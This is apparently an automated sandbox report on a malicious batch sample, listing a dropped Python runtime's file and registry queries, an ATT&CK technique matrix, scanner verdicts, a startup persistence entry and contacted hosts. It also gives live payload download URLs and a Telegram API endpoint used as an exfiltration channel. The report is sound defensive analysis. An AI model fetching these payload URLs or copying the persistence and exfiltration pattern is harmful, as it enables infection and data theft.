Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\ast.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\ast.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\ast.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\ast.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\ast.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\ast.cpython-310.pyc.2165737518256 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\contextlib.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\contextlib.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\contextlib.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\contextlib.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\contextlib.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\contextlib.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\contextlib.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\__pycache__\contextlib.cpython-310.pyc.2165714591280 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\DLLs VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\__pycache__\__init__.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\__pycache__\__init__.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\__pycache__\__init__.cpython-310.pyc.2165770396576 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__pycache__\__init__.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__pycache__\__init__.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__init__.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__pycache__\__init__.cpython-310.pyc.2165770396720 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_mode_ecb.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_mode_ecb.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__pycache__\_mode_ecb.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__pycache__\_mode_ecb.cpython-310.pyc VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_mode_ecb.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_mode_ecb.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\_mode_ecb.py VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__pycache__ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Cipher\__pycache__\_mode_ecb.cpython-310.pyc.2165770397152 VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Queries volume information: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\__init__.py VolumeInformation	Jump to behavior

Source: C:\Users\Public\Document\python.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: taskkill.exe, 00000047.00000003.2043990189.000002A2333C6000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000002.2045038670.000002A2333D5000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2044159077.000002A2333D4000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000047.00000003.2043890217.000002A2333C5000.00000004.00000020.00020000.00000000.sdmp

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	11 Process Injection	1 Masquerading	1 OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	21 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner
C:\Users\Public\Document\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_bz2.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ctypes.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ctypes_test.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_decimal.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_elementtree.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_hashlib.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_lzma.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_msi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_overlapped.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_queue.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_socket.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_sqlite3.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ssl.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testbuffer.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testcapi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testconsole.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testmultiphase.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_tkinter.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_uuid.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_zoneinfo.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libffi-7.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libssl-1_1.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\select.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\sqlite3.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\unicodedata.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\winsound.pyd	0%	ReversingLabs
C:\Users\Public\Document\Lib\abc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\aifc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\argparse.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\ast.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asynchat.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncore.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\base64.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\bdb.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\binhex.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\bisect.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\bz2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cProfile.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\calendar.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cgi.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cgitb.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\chunk.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cmd.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\code.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\codecs.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\collections\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\collections\abc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\colorsys.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\compileall.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\configparser.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\contextlib.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\contextvars.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\copy.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\copyreg.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\crypt.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\csv.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\ctypes\macholib\__init__.py	0%	ReversingLabs

Source	Detection	Scanner	Label
http://w3m.sourceforge.net/	0%	Avira URL Cloud	safe
http://zooko.com/	0%	Avira URL Cloud	safe
http://bugs.python.org/issue14720	0%	Avira URL Cloud	safe
http://bugs.python.org/issue6857.	0%	Avira URL Cloud	safe
http://artax.karlin.mff.cuni.cz/~mikulas/links/	0%	Avira URL Cloud	safe
http://www.python.orgz	0%	Avira URL Cloud	safe
http://lynx.isc.org/	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN)	0%	Avira URL Cloud	safe
http://bugs.python.org/issue24068.	0%	Avira URL Cloud	safe
https://aiosmtpd.readthedocs.io/)	0%	Avira URL Cloud	safe
http://bugs.python.org/issue10811	0%	Avira URL Cloud	safe
https://www.secg.org/sec1-v2.pdf	0%	Avira URL Cloud	safe
http://www.openssh.com/txt/rfc5656.txt	0%	Avira URL Cloud	safe
https://bugs.python.org/issue25942	0%	Avira URL Cloud	safe
https://eprint.iacr.org/2013/157.pdfc	0%	Avira URL Cloud	safe
http://www.sitemaps.org/protocol.html	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
github.com	20.233.83.145	true	false	high
raw.githubusercontent.com	185.199.109.133	true	false	high
ip-api.com	208.95.112.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high

Name	Malicious	Reputation
https://github.com/ty9989/z/raw/main/T3.zip	false	high
http://ip-api.com/json/?fields=8195	false	high
https://raw.githubusercontent.com/ty9989/z/main/T3.zip	false	high
https://github.com/ty9989/u/raw/main/ud.bat	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571739
Start date and time:	2024-12-09 17:04:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	78
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	run.cmd
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winCMD@109/1492@4/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 29 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .cmd

Time	Type	Description
11:05:17	API Interceptor	137238x Sleep call for process: powershell.exe modified
17:05:19	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	f5ATZ1i5CU.exe	Get hash	malicious	RedLine, XWorm	Browse	ip-api.com/line/?fields=hosting
	R55-RFQ.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	YXHoexbTFp.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	ip-api.com/json/
	file.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	spoolsv.exe	Get hash	malicious	RedLine, StormKitty, XWorm	Browse	ip-api.com/line/?fields=hosting
	2477.exe	Get hash	malicious	NoCry, RedLine, StormKitty, XWorm	Browse	ip-api.com/line/?fields=hosting
	BA9qyj2c9G.exe	Get hash	malicious	WhiteSnake Stealer	Browse	ip-api.com/line?fields=query,country
	xooSsYaHN0.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	ip-api.com/json
149.154.167.220	https://copilotse.blob.core.windows.net/$web/hgyxxxtrdfr76tfgfs821yhgh.html?sp=r&st=2024-12-08T12:55:44Z&se=2024-12-31T20:55:44Z&spr=https&sv=2022-11-02&sr=b&sig=7dYMitXSX9zEmg0mEsN7rfqS0sBAZEqtrbG4v8YyfsM%3D#robert.webber@phillyshipyard.com	Get hash	malicious	HTMLPhisher	Browse
	jXN37dkptv.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	1mr7lpFIVI.exe	Get hash	malicious	Unknown	Browse
	eEiHdLSfum.exe	Get hash	malicious	Unknown	Browse
	eEiHdLSfum.exe	Get hash	malicious	Unknown	Browse
	jKDBppzWTb.exe	Get hash	malicious	AgentTesla	Browse
	Lenticels.exe	Get hash	malicious	Snake Keylogger	Browse
	Request for Quotation New collaboration.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	REQUEST FOR QUOATION AND PRICES 01306-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
185.199.109.133	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gabe.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	PYsje7DgYO.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.199.109.133
	EcjH6Dq36Y.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.199.108.133
	MsmxWY8nj7.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.199.110.133
	ea4LTmpMwl.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	185.199.110.133
	file.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	185.199.108.133
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	185.199.108.133
	resume.docx.lnk	Get hash	malicious	Unknown	Browse	185.199.110.133
	yliGAnBiRb.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	extracted_payload.exe.bin.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
ip-api.com	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	f5ATZ1i5CU.exe	Get hash	malicious	RedLine, XWorm	Browse	208.95.112.1
	R55-RFQ.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	YXHoexbTFp.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	208.95.112.1
	file.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	spoolsv.exe	Get hash	malicious	RedLine, StormKitty, XWorm	Browse	208.95.112.1
	2477.exe	Get hash	malicious	NoCry, RedLine, StormKitty, XWorm	Browse	208.95.112.1
	BA9qyj2c9G.exe	Get hash	malicious	WhiteSnake Stealer	Browse	208.95.112.1
	xooSsYaHN0.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	208.95.112.1
github.com	PYsje7DgYO.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.233.83.145
	EcjH6Dq36Y.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.233.83.145
	MsmxWY8nj7.exe	Get hash	malicious	RHADAMANTHYS	Browse	20.233.83.145
	Y5kEUsYDFr.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	QlyOUFGIFB.exe	Get hash	malicious	MicroClip	Browse	20.233.83.146
	Cooperative Agreement0000800380.docx.exe	Get hash	malicious	Babadeda, Blank Grabber	Browse	20.233.83.145
	1.exe	Get hash	malicious	Havoc, RUSTDESK	Browse	20.233.83.145
	Ttok18.exe	Get hash	malicious	Vidar	Browse	20.233.83.145
	https://github.com/kernelwernel/VMAware/releases/download/v1.9/vmaware64.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	SplpM1fFkV.exe	Get hash	malicious	Unknown	Browse	20.233.83.145

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	iVH355vnza.vbs	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.199.109.133 20.233.83.145
	http://www.thehorizondispatch.com	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	Aktarma,pdf.vbs	Get hash	malicious	Remcos	Browse	185.199.109.133 20.233.83.145
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.199.109.133 20.233.83.145
	jXN37dkptv.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.199.109.133 20.233.83.145
	https://reader.egress.com/remote.aspx/s/storage.phe.gov.uk/email/e0599f812894d1904a8fe3cf7f605bcb	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	rrats.exe	Get hash	malicious	AsyncRAT	Browse	185.199.109.133 20.233.83.145
	https://app.droplet.io/form/yelEz0	Get hash	malicious	Unknown	Browse	185.199.109.133 20.233.83.145
	TeudA4phjN.exe	Get hash	malicious	Quasar	Browse	185.199.109.133 20.233.83.145

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Document\DLLs\_bz2.pyd	based.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse
	y.bat	Get hash	malicious	Braodo	Browse
	grass.exe	Get hash	malicious	Unknown	Browse
	grass.exe	Get hash	malicious	Unknown	Browse
	https://github.com/thonny/thonny/releases/download/v4.1.6/thonny-4.1.6.exe	Get hash	malicious	Unknown	Browse
	crss.exe	Get hash	malicious	Unknown	Browse
	GXxC9F1xYh.exe	Get hash	malicious	Unknown	Browse
	BB.bat	Get hash	malicious	Braodo	Browse
	Bypass Apk.exe	Get hash	malicious	Unknown	Browse
	Bypass Apk.exe	Get hash	malicious	Unknown	Browse
C:\Users\Public\Document\DLLs\_asyncio.pyd	based.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse
	y.bat	Get hash	malicious	Braodo	Browse
	grass.exe	Get hash	malicious	Unknown	Browse
	grass.exe	Get hash	malicious	Unknown	Browse
	https://github.com/thonny/thonny/releases/download/v4.1.6/thonny-4.1.6.exe	Get hash	malicious	Unknown	Browse
	crss.exe	Get hash	malicious	Unknown	Browse
	BB.bat	Get hash	malicious	Braodo	Browse
	leo.bat	Get hash	malicious	Braodo	Browse
	cat.bat	Get hash	malicious	Braodo	Browse
	chim.bat	Get hash	malicious	Braodo	Browse

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	15567748
Entropy (8bit):	7.995650949342625
Encrypted:	true
SSDEEP:	196608:xR0CVialvPFTbUufhlLb5Z41SYEBHetFJR+6wqYTWz+5PXa7zkho8Y0sVN4D4kQP:xRdPFfD5Zk1JR+TTWh7zkh3iqDOQat
MD5:	A3696493D165DF564EF3A2C7B6554FE0
SHA1:	A59F6996ED39D6C469D3CE12FC213AD5EBC9409B
SHA-256:	09859BE0E60957924A1BE21E49217768833AB4B0172A8F6CA47C6FBC24960D66
SHA-512:	5DF86CFF72629ACB0B5FF029CA0ADF79CC6C5C814AF373D7C0D0533979EB2A903877F27BC8D6666973E370C2F61657C4B5B1DD7F7B815BB985DB19206E4FADC2
Malicious:	true
